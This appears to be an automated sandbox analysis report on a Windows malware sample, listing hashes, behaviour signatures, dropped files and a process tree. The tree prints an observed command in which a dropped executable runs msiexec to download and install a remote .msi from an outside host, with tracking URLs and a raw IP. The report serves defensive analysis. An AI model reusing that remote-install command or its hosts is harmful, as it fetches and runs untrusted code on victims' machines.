Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    05-10-2024 00:19

General

  • Target

    157171d7f30aded47796c042696020e4_JaffaCakes118.exe

  • Size

    1.4MB

  • MD5

    157171d7f30aded47796c042696020e4

  • SHA1

    2dde393ee604235430360ab7be8deffa84c712f2

  • SHA256

    b49c9e0ed4283ba2d42cf2eddfb2510e95d0e853e6c79f26d0d5ffbcbd54a948

  • SHA512

    aa4874b76b09b9185798f2195e4913b1b3cab79b5900063e2c2179e793ede16124da05da1c7af3df66283a5dc920af57535d1953ee6a8f6356d3fd787f70ac2a

  • SSDEEP

    24576:6bq0qCDXNYDE6cEwVYSns0juQQLEd5nYUf9Bc2znIEMOsPxf3Kjskloqx/1UHPp6:cqgXNYY/E6s0juQQARJrc9OsPxfajL+O

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\157171d7f30aded47796c042696020e4_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\157171d7f30aded47796c042696020e4_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2488
    • C:\Users\Admin\AppData\Local\Temp\uynnTZ.exe
      C:\Users\Admin\AppData\Local\Temp\uynnTZ.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2328
      • C:\Windows\SysWOW64\MSIEXEC.EXE
        MSIEXEC.EXE /i "http://bfesz.cntntdnfls.eu/36175/cdn/clubworldcasinos/Club World Casinos20120928083212.msi" DDC_DID=2258213 DDC_RTGURL=http://www.dlhsetup.com/dl/TrackSetup/TrackSetup.aspx?DID=2258213 DDC_UPDATESTATUSURL=http://190.4.94.68:8080/clubworldcasinos/Lobby.WebServices/Installer.asmx SETUPEXEDIR="C:\Users\Admin\AppData\Local\Temp" SETUPEXENAME="uynnTZ.exe"
        3⤵
        • Use of msiexec (install) with remote resource
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2684

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\_is1847.tmp

    Filesize

    1KB

    MD5

    c458a4e42697c0db33bbd7f1ecaf1f84

    SHA1

    2a4ca018d262c23a4ab4f33299ca77788b11c240

    SHA256

    1d7355dbc0e37c3d4146ae0e652432dd1f0ceff1d34b5a466b604422000e8981

    SHA512

    a249d4bdd8525961c5c146ebd991a4668dd864c8e43f5e5f0ce2c342881094a326f8fd2b384599357a720e6554cbdce2ecc26045d074aac107d0b65e20f6c8a6

  • C:\Users\Admin\AppData\Local\Temp\{E5473A2D-3AB3-40E0-BE14-C0DA395A8956}\0x0409.ini

    Filesize

    21KB

    MD5

    be345d0260ae12c5f2f337b17e07c217

    SHA1

    0976ba0982fe34f1c35a0974f6178e15c238ed7b

    SHA256

    e994689a13b9448c074f9b471edeec9b524890a0d82925e98ab90b658016d8f3

    SHA512

    77040dbee29be6b136a83b9e444d8b4f71ff739f7157e451778fb4fccb939a67ff881a70483de16bcb6ae1fea64a89e00711a33ec26f4d3eea8e16c9e9553eff

  • C:\Users\Admin\AppData\Local\Temp\{E5473A2D-3AB3-40E0-BE14-C0DA395A8956}\_ISMSIDEL.INI

    Filesize

    20B

    MD5

    db9af7503f195df96593ac42d5519075

    SHA1

    1b487531bad10f77750b8a50aca48593379e5f56

    SHA256

    0a33c5dffabcf31a1f6802026e9e2eef4b285e57fd79d52fdcd98d6502d14b13

    SHA512

    6839264e14576fe190260a4b82afc11c88e50593a20113483851bf4abfdb7cca9986bef83f4c6b8f98ef4d426f07024cf869e8ab393df6d2b743b9b8e2544e1b

  • C:\Users\Admin\AppData\Local\Temp\~1834.tmp

    Filesize

    5KB

    MD5

    625103e6ad710037c7b2f4b4a035ddf1

    SHA1

    d4ff2ae6f00ce78570b4e596e4cb6e7f2768a047

    SHA256

    24115271fdf55b94aea2a8aece072dc2d347e698b22adb43f547f768b61424d6

    SHA512

    5cab20cb43f7a4b24adee3a952dc55895f51712a650e719cfdbb9539ce4e302c096f8e40261fe63fa10974e82fd780e52c5a6c9bf3dfc47c1e3db0efba31924c

  • \Users\Admin\AppData\Local\Temp\uynnTZ.exe

    Filesize

    1.2MB

    MD5

    cb27838a7050bde92aa9638bf1ea8454

    SHA1

    674f4cd3f075a63ccdd156d5e83d216350c50841

    SHA256

    b2f17ee778c8ac3439037f7f4c232d57fe397aa158135c9c3f6276934843f3a8

    SHA512

    094631bcfccae26054a5d929dce1b90148a7d336570af56f39a95bab0951d112db414c476162f309b32aef5723c102ff233f1b98dcc6936e8184331183788fe0